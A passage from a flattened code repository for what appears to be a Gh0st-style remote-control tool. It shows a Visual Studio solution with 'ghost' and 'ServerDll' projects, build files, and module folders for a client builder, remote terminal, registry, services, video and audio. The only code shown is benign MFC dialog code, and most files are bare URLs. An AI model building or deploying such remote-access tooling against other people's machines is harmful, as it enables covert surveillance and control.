map(deflateInit_,"DEIN") 520 | #pragma map(deflateInit2_,"DEIN2") 521 | #pragma map(deflateEnd,"DEEND") 522 | #pragma map(deflateBound,"DEBND") 523 | #pragma map(inflateInit_,"ININ") 524 | #pragma map(inflateInit2_,"ININ2") 525 | #pragma map(inflateEnd,"INEND") 526 | #pragma map(inflateSync,"INSY") 527 | #pragma map(inflateSetDictionary,"INSEDI") 528 | #pragma map(compressBound,"CMBND") 529 | #pragma map(inflate_table,"INTABL") 530 | #pragma map(inflate_fast,"INFA") 531 | #pragma map(inflate_copyright,"INCOPY") 532 | #endif 533 | 534 | #endif /* ZCONF_H */ 535 | -------------------------------------------------------------------------------- /client/zlib.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/zlib.lib -------------------------------------------------------------------------------- /client/zstd/zstd.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/zstd/zstd.lib -------------------------------------------------------------------------------- /server/2015Remote.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2012 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}" 5 | ProjectSection(ProjectDependencies) = postProject 6 | {3F756E52-23C2-4EE4-A184-37CF788D50A7} = {3F756E52-23C2-4EE4-A184-37CF788D50A7} 7 | EndProjectSection 8 | EndProject 9 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" 10 | EndProject 11 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "..\client\TestRun.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}" 12 | ProjectSection(ProjectDependencies) = postProject 13 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} 14 | EndProjectSection 15 | EndProject 16 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "..\client\ghost.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}" 17 | EndProject 18 | Global 19 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 20 | Debug|Win32 = Debug|Win32 21 | Release|Win32 = Release|Win32 22 | EndGlobalSection 23 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 24 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.ActiveCfg = Debug|Win32 25 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.Build.0 = Debug|Win32 26 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.ActiveCfg = Release|Win32 27 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.Build.0 = Release|Win32 28 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.ActiveCfg = Debug|Win32 29 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.Build.0 = Debug|Win32 30 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.ActiveCfg = Release|Win32 31 | {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.Build.0 = Release|Win32 32 | {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.ActiveCfg = Debug|Win32 33 | {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.Build.0 = Debug|Win32 34 | {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.ActiveCfg = Release|Win32 35 | {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.Build.0 = Release|Win32 36 | {3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|Win32.ActiveCfg = Debug|Win32 37 | {3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|Win32.Build.0 = Debug|Win32 38 | {3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|Win32.ActiveCfg = Release|Win32 39 | {3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|Win32.Build.0 = Release|Win32 40 | EndGlobalSection 41 | GlobalSection(SolutionProperties) = preSolution 42 | HideSolutionNode = FALSE 43 | EndGlobalSection 44 | EndGlobal 45 | -------------------------------------------------------------------------------- /server/2015Remote/2015Remote.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/2015Remote.cpp -------------------------------------------------------------------------------- /server/2015Remote/2015Remote.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/2015Remote.h -------------------------------------------------------------------------------- /server/2015Remote/2015Remote.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/2015Remote.rc -------------------------------------------------------------------------------- /server/2015Remote/2015Remote.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5} 15 | My2015Remote 16 | MFCProj 17 | Yama 18 | 8.1 19 | 20 | 21 | 22 | Application 23 | true 24 | MultiByte 25 | Static 26 | v110_xp 27 | 28 | 29 | Application 30 | false 31 | true 32 | MultiByte 33 | Static 34 | v110_xp 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | true 48 | $(WindowsSDK_IncludePath);$(IncludePath) 49 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 50 | 51 | 52 | false 53 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 54 | $(WindowsSDK_IncludePath);$(IncludePath) 55 | 56 | 57 | 58 | Use 59 | Level3 60 | Disabled 61 | WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions) 62 | true 63 | false 64 | 65 | 66 | Windows 67 | true 68 | zlib.lib;%(AdditionalDependencies) 69 | LIBCMT.lib;%(IgnoreSpecificDefaultLibraries) 70 | 71 | 72 | false 73 | true 74 | _DEBUG;%(PreprocessorDefinitions) 75 | 76 | 77 | 0x0804 78 | _DEBUG;%(PreprocessorDefinitions) 79 | $(IntDir);%(AdditionalIncludeDirectories) 80 | 81 | 82 | 83 | 84 | Level3 85 | Use 86 | MinSpace 87 | true 88 | WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions) 89 | true 90 | Size 91 | true 92 | 93 | 94 | Windows 95 | true 96 | true 97 | true 98 | zlib.lib 99 | /SAFESEH:NO %(AdditionalOptions) 100 | 101 | 102 | false 103 | true 104 | NDEBUG;%(PreprocessorDefinitions) 105 | 106 | 107 | 0x0804 108 | NDEBUG;%(PreprocessorDefinitions) 109 | $(IntDir);%(AdditionalIncludeDirectories) 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | Create 186 | Create 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | -------------------------------------------------------------------------------- /server/2015Remote/2015Remote.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {c30c6669-7ee9-446c-9bfb-e472d534e2f2} 18 | 19 | 20 | {7384a2b0-7e54-4b4f-8f1e-399a170b0893} 21 | 22 | 23 | {13f8046a-69f8-4f11-a24b-6bc31c195200} 24 | 25 | 26 | {b8c1bcef-f319-4d72-be70-99c37a83bf9a} 27 | 28 | 29 | {247eff7d-6fd0-43dd-8c7e-263aad0eed5b} 30 | 31 | 32 | {89df7039-00e9-4694-91f8-fc5f023e6321} 33 | 34 | 35 | {5264e449-f09b-420d-9c72-ff8151bee746} 36 | 37 | 38 | {52707111-f42b-41c9-b02d-ded6b27a2b7e} 39 | 40 | 41 | {b8b47b31-1b3f-420a-aebd-f9f6aef16177} 42 | 43 | 44 | {98bb3949-95d3-4ae1-9e7a-51344815555a} 45 | 46 | 47 | {ba31583e-3d2b-4f34-ac0f-9589567fccd9} 48 | 49 | 50 | {b3a92075-6f32-4114-8c59-b0fb0042ed03} 51 | 52 | 53 | {604ae8b3-7d79-4ba3-955d-8244c26c9218} 54 | 55 | 56 | {9cd8e611-2137-4553-b9a9-121877b5e33c} 57 | 58 | 59 | {99dc4626-9f3c-4a3f-bfbd-03c6748fe053} 60 | 61 | 62 | {4fbc083b-8252-4012-836d-6757122c7de7} 63 | 64 | 65 | 66 | 67 | 资源文件 68 | 69 | 70 | 资源文件 71 | 72 | 73 | 资源文件 74 | 75 | 76 | 资源文件 77 | 78 | 79 | 资源文件 80 | 81 | 82 | 资源文件 83 | 84 | 85 | 资源文件 86 | 87 | 88 | 资源文件 89 | 90 | 91 | 资源文件 92 | 93 | 94 | 资源文件 95 | 96 | 97 | 资源文件 98 | 99 | 100 | 资源文件 101 | 102 | 103 | 资源文件 104 | 105 | 106 | 资源文件 107 | 108 | 109 | 资源文件 110 | 111 | 112 | 资源文件 113 | 114 | 115 | 资源文件 116 | 117 | 118 | 资源文件 119 | 120 | 121 | 资源文件 122 | 123 | 124 | 资源文件 125 | 126 | 127 | 资源文件 128 | 129 | 130 | 资源文件 131 | 132 | 133 | 134 | 135 | 头文件 136 | 137 | 138 | 头文件 139 | 140 | 141 | 头文件 142 | 143 | 144 | 主Dlg 145 | 146 | 147 | 真彩Bar 148 | 149 | 150 | 设置Dlg 151 | 152 | 153 | 设置Dlg 154 | 155 | 156 | 通信类 157 | 158 | 159 | CPU 160 | 161 | 162 | 缓冲区 163 | 164 | 165 | 缓冲区 166 | 167 | 168 | 缓冲区 169 | 170 | 171 | 远程控制 172 | 173 | 174 | 远程文件 175 | 176 | 177 | 头文件 178 | 179 | 180 | 主Dlg 181 | 182 | 183 | 远程文件 184 | 185 | 186 | 即时消息 187 | 188 | 189 | 远程终端 190 | 191 | 192 | 远程系统管理 193 | 194 | 195 | 远程音频 196 | 197 | 198 | 生成客户端 199 | 200 | 201 | 远程注册表 202 | 203 | 204 | 远程服务 205 | 206 | 207 | 远程视频 208 | 209 | 210 | 远程音频 211 | 212 | 213 | 远程文件 214 | 215 | 216 | 217 | 218 | 源文件 219 | 220 | 221 | 源文件 222 | 223 | 224 | 主Dlg 225 | 226 | 227 | 真彩Bar 228 | 229 | 230 | 设置Dlg 231 | 232 | 233 | 设置Dlg 234 | 235 | 236 | 通信类 237 | 238 | 239 | CPU 240 | 241 | 242 | 缓冲区 243 | 244 | 245 | 远程控制 246 | 247 | 248 | 远程文件 249 | 250 | 251 | 源文件 252 | 253 | 254 | 远程文件 255 | 256 | 257 | 即时消息 258 | 259 | 260 | 远程终端 261 | 262 | 263 | 远程系统管理 264 | 265 | 266 | 远程音频 267 | 268 | 269 | 生成客户端 270 | 271 | 272 | 远程注册表 273 | 274 | 275 | 远程服务 276 | 277 | 278 | 远程视频 279 | 280 | 281 | 远程音频 282 | 283 | 284 | 远程文件 285 | 286 | 287 | 288 | 289 | 资源文件 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 资源文件 298 | 299 | 300 | 资源文件 301 | 302 | 303 | 资源文件 304 | 305 | 306 | 资源文件 307 | 308 | 309 | 资源文件 310 | 311 | 312 | -------------------------------------------------------------------------------- /server/2015Remote/2015Remote.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /server/2015Remote/2015RemoteDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/2015RemoteDlg.cpp -------------------------------------------------------------------------------- /server/2015Remote/2015RemoteDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/2015RemoteDlg.h -------------------------------------------------------------------------------- /server/2015Remote/2015Remote_vs2015.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5} 15 | My2015Remote 16 | MFCProj 17 | Yama 18 | 8.1 19 | 20 | 21 | 22 | Application 23 | true 24 | MultiByte 25 | Static 26 | v140_xp 27 | 28 | 29 | Application 30 | false 31 | true 32 | MultiByte 33 | Static 34 | v140_xp 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | true 48 | $(WindowsSDK_IncludePath);$(IncludePath) 49 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 50 | 51 | 52 | false 53 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 54 | $(WindowsSDK_IncludePath);$(IncludePath) 55 | 56 | 57 | 58 | Use 59 | Level3 60 | Disabled 61 | WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions) 62 | true 63 | false 64 | 65 | 66 | Windows 67 | true 68 | zlib.lib;%(AdditionalDependencies) 69 | LIBCMT.lib;%(IgnoreSpecificDefaultLibraries) 70 | 71 | 72 | false 73 | true 74 | _DEBUG;%(PreprocessorDefinitions) 75 | 76 | 77 | 0x0804 78 | _DEBUG;%(PreprocessorDefinitions) 79 | $(IntDir);%(AdditionalIncludeDirectories) 80 | 81 | 82 | 83 | 84 | Level3 85 | Use 86 | MinSpace 87 | true 88 | WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions) 89 | true 90 | Size 91 | true 92 | 93 | 94 | Windows 95 | true 96 | true 97 | true 98 | zlib.lib 99 | /SAFESEH:NO %(AdditionalOptions) 100 | 101 | 102 | false 103 | true 104 | NDEBUG;%(PreprocessorDefinitions) 105 | 106 | 107 | 0x0804 108 | NDEBUG;%(PreprocessorDefinitions) 109 | $(IntDir);%(AdditionalIncludeDirectories) 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | Create 186 | Create 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | -------------------------------------------------------------------------------- /server/2015Remote/Audio.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/Audio.cpp -------------------------------------------------------------------------------- /server/2015Remote/Audio.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/Audio.h -------------------------------------------------------------------------------- /server/2015Remote/AudioDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/AudioDlg.cpp -------------------------------------------------------------------------------- /server/2015Remote/AudioDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/AudioDlg.h -------------------------------------------------------------------------------- /server/2015Remote/Buffer.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/Buffer.cpp -------------------------------------------------------------------------------- /server/2015Remote/Buffer.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/Buffer.h -------------------------------------------------------------------------------- /server/2015Remote/BuildDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/BuildDlg.cpp -------------------------------------------------------------------------------- /server/2015Remote/BuildDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/BuildDlg.h -------------------------------------------------------------------------------- /server/2015Remote/CpuUseage.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/CpuUseage.cpp -------------------------------------------------------------------------------- /server/2015Remote/CpuUseage.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/CpuUseage.h -------------------------------------------------------------------------------- /server/2015Remote/EditDialog.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/EditDialog.cpp -------------------------------------------------------------------------------- /server/2015Remote/EditDialog.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/EditDialog.h -------------------------------------------------------------------------------- /server/2015Remote/FileManagerDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/FileManagerDlg.cpp -------------------------------------------------------------------------------- /server/2015Remote/FileManagerDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/FileManagerDlg.h -------------------------------------------------------------------------------- /server/2015Remote/FileTransferModeDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/FileTransferModeDlg.cpp -------------------------------------------------------------------------------- /server/2015Remote/FileTransferModeDlg.h: -------------------------------------------------------------------------------- 1 | #if !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_) 2 | #define AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_ 3 | 4 | #if _MSC_VER > 1000 5 | #pragma once 6 | #endif // _MSC_VER > 1000 7 | // FileTransferModeDlg.h : header file 8 | // 9 | 10 | ///////////////////////////////////////////////////////////////////////////// 11 | // CFileTransferModeDlg dialog 12 | 13 | class CFileTransferModeDlg : public CDialog 14 | { 15 | // Construction 16 | public: 17 | CString m_strFileName; 18 | CFileTransferModeDlg(CWnd* pParent = NULL); // standard constructor 19 | 20 | // Dialog Data 21 | //{{AFX_DATA(CFileTransferModeDlg) 22 | enum { IDD = IDD_TRANSFERMODE_DLG }; 23 | // NOTE: the ClassWizard will add data members here 24 | //}}AFX_DATA 25 | 26 | 27 | // Overrides 28 | // ClassWizard generated virtual function overrides 29 | //{{AFX_VIRTUAL(CFileTransferModeDlg) 30 | protected: 31 | virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support 32 | //}}AFX_VIRTUAL 33 | 34 | // Implementation 35 | protected: 36 | 37 | // Generated message map functions 38 | //{{AFX_MSG(CFileTransferModeDlg) 39 | afx_msg void OnEndDialog(UINT id); 40 | virtual BOOL OnInitDialog(); 41 | //}}AFX_MSG 42 | DECLARE_MESSAGE_MAP() 43 | }; 44 | 45 | //{{AFX_INSERT_LOCATION}} 46 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 47 | 48 | #endif // !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_) 49 | -------------------------------------------------------------------------------- /server/2015Remote/IOCPServer.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/IOCPServer.cpp -------------------------------------------------------------------------------- /server/2015Remote/IOCPServer.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/IOCPServer.h -------------------------------------------------------------------------------- /server/2015Remote/InputDlg.cpp: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // MSDN Magazine -- June 2005 3 | // If this code works, it was written by Paul DiLascia. 4 | // If not, I don't know who wrote it. 5 | // Compiles with Visual Studio .NET 2003 (V7.1) on Windows XP. Tab size=3. 6 | // 7 | #include "stdafx.h" 8 | #include "InputDlg.h" 9 | 10 | #ifdef _DEBUG 11 | #define new DEBUG_NEW 12 | #endif 13 | 14 | ////////////////// 15 | // Note: Make sure nBufLen is big enough to hold your entire dialog template! 16 | // 17 | CDlgTemplateBuilder::CDlgTemplateBuilder(UINT nBufLen) 18 | { 19 | m_pBuffer = new WORD[nBufLen]; 20 | m_pNext = m_pBuffer; 21 | m_pEndBuf = m_pNext + nBufLen; 22 | } 23 | 24 | CDlgTemplateBuilder::~CDlgTemplateBuilder() 25 | { 26 | delete [] m_pBuffer; 27 | } 28 | 29 | ////////////////// 30 | // Create template (DLGTEMPLATE) 31 | // 32 | DLGTEMPLATE* CDlgTemplateBuilder::Begin(DWORD dwStyle, const CRect& rc, 33 | LPCTSTR text, DWORD dwStyleEx) 34 | { 35 | ASSERT(m_pBuffer==m_pNext); // call Begin first and only once! 36 | 37 | DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer; 38 | hdr->style = dwStyle; // copy style.. 39 | hdr->dwExtendedStyle = dwStyleEx; // ..and extended, too 40 | hdr->cdit = 0; // number of items: zero 41 | 42 | // Set dialog rectangle. 43 | CRect rcDlg = rc; 44 | hdr->x = (short)rcDlg.left; 45 | hdr->y = (short)rcDlg.top; 46 | hdr->cx = (short)rcDlg.Width(); 47 | hdr->cy = (short)rcDlg.Height(); 48 | 49 | // Append trailing items: menu, class, caption. I only use caption. 50 | m_pNext = (WORD*)(hdr+1); 51 | *m_pNext++ = 0; // menu (none) 52 | *m_pNext++ = 0; // dialog class (use standard) 53 | m_pNext = AddText(m_pNext, text); // append dialog caption 54 | 55 | ASSERT(m_pNext < m_pEndBuf); 56 | return hdr; 57 | } 58 | 59 | ////////////////// 60 | // Add dialog item (control). 61 | // 62 | void CDlgTemplateBuilder::AddItemTemplate(WORD wType, DWORD dwStyle, 63 | const CRect& rc, WORD nID, DWORD dwStyleEx) 64 | { 65 | ASSERT(m_pNext < m_pEndBuf); 66 | 67 | // initialize DLGITEMTEMPLATE 68 | DLGITEMTEMPLATE& it = *((DLGITEMTEMPLATE*)AlignDWORD(m_pNext)); 69 | it.style = dwStyle; 70 | it.dwExtendedStyle = dwStyleEx; 71 | 72 | CRect rcDlg = rc; 73 | it.x = (short)rcDlg.left; 74 | it.y = (short)rcDlg.top; 75 | it.cx = (short)rcDlg.Width(); 76 | it.cy = (short)rcDlg.Height(); 77 | it.id = nID; 78 | 79 | // add class (none) 80 | m_pNext = (WORD*)(&it+1); 81 | *m_pNext++ = 0xFFFF; // next WORD is atom 82 | *m_pNext++ = wType; // ..atom identifier 83 | ASSERT(m_pNext < m_pEndBuf); // check not out of range 84 | 85 | // increment control/item count 86 | DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer; 87 | hdr->cdit++; 88 | } 89 | 90 | ////////////////// 91 | // Add dialog item (control). 92 | // 93 | void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle, 94 | const CRect& rc, LPCTSTR text, WORD nID, DWORD dwStyleEx) 95 | { 96 | AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx); 97 | m_pNext = AddText(m_pNext, text); // append title 98 | *m_pNext++ = 0; // no creation data 99 | ASSERT(m_pNext < m_pEndBuf); 100 | } 101 | 102 | ////////////////// 103 | // Add dialog item (control). 104 | // 105 | void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle, 106 | const CRect& rc, WORD wResID, WORD nID, DWORD dwStyleEx) 107 | { 108 | AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx); 109 | *m_pNext++ = 0xFFFF; // next is resource id 110 | *m_pNext++ = wResID; // ..here it is 111 | *m_pNext++ = 0; // no extra stuff 112 | ASSERT(m_pNext < m_pEndBuf); 113 | } 114 | 115 | ////////////////// 116 | // Append text to buffer. Convert to Unicode if necessary. 117 | // Return pointer to next character after terminating NULL. 118 | // 119 | WORD* CDlgTemplateBuilder::AddText(WORD* buf, LPCTSTR text) 120 | { 121 | if (text) { 122 | USES_CONVERSION; 123 | wcscpy((WCHAR*)buf, T2W((LPTSTR)text)); 124 | buf += wcslen((WCHAR*)buf)+1; 125 | } else { 126 | *buf++ = 0; 127 | } 128 | return buf; 129 | } 130 | 131 | ////////////////// 132 | // Create string dialog. If no icon specified, use IDI_QUESTION. Note that 133 | // the order in which the controls are added is the TAB order. 134 | // 135 | BOOL CInputDialog::Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent, WORD nIDIcon) 136 | { 137 | const int CXDIALOG = 200; // dialog width 138 | const int DLGMARGIN = 7; // margins all around 139 | const int CYSTATIC = 8; // height of static text 140 | const int CYEDIT = 12; // height of edit control 141 | const int CYSPACE = 5; // vertical space between controls 142 | const int CXBUTTON = 40; // button width... 143 | const int CYBUTTON = 15; // ..and height 144 | 145 | CDlgTemplateBuilder& dtb = m_dtb; 146 | CRect rc( 147 | CPoint(0,0), 148 | CSize(CXDIALOG, CYSTATIC + CYEDIT + CYBUTTON + 2*DLGMARGIN + 2*CYSPACE)); 149 | 150 | // create dialog header 151 | DLGTEMPLATE* pTempl = dtb.Begin(WS_POPUPWINDOW|DS_MODALFRAME|WS_DLGFRAME,rc,caption); 152 | 153 | // shrink main rect by margins 154 | rc.DeflateRect(CSize(DLGMARGIN,DLGMARGIN)); 155 | 156 | // create icon if needed 157 | if (nIDIcon) { 158 | if (nIDIcon >= (WORD)IDI_APPLICATION) { 159 | // if using a system icon, I load it here and set it in OnInitDialog 160 | // because can't specify system icon in template, only icons from 161 | // application resource file. 162 | m_hIcon = ::LoadIcon(NULL, MAKEINTRESOURCE(nIDIcon)); 163 | nIDIcon = 0; 164 | } else { 165 | m_hIcon = NULL; 166 | } 167 | 168 | // The size is calculated in pixels, but it seems to work OK--??? 169 | CSize sz(GetSystemMetrics(SM_CXICON),GetSystemMetrics(SM_CYICON)); 170 | CRect rcIcon(rc.TopLeft(), sz); 171 | dtb.AddItem(CDlgTemplateBuilder::STATIC, // add icon 172 | WS_VISIBLE|WS_CHILD|SS_LEFT|SS_ICON, rc, nIDIcon, IDICON); 173 | rc.left += sz.cx; // shrink main rect by width of icon 174 | } 175 | 176 | // add prompt 177 | rc.bottom = rc.top + CYSTATIC; // height = height of static 178 | dtb.AddItem(CDlgTemplateBuilder::STATIC, // add it 179 | WS_VISIBLE|WS_CHILD|SS_LEFT, rc, prompt); 180 | 181 | // add edit control 182 | rc += CPoint(0, rc.Height() + CYSPACE); // move below static 183 | rc.bottom = rc.top + CYEDIT; // height = height of edit control 184 | dtb.AddItem(CDlgTemplateBuilder::EDIT, // add it ES_AUTOHSCROLL must be add 185 | WS_VISIBLE|WS_CHILD|WS_BORDER|WS_TABSTOP|ES_AUTOHSCROLL, rc, m_str, IDEDIT); 186 | 187 | // add OK button 188 | rc += CPoint(0, rc.Height() + CYSPACE); // move below edit control 189 | rc.bottom = rc.top + CYBUTTON; // height = button height 190 | rc.left = rc.right - CXBUTTON; // width = button width 191 | rc -= 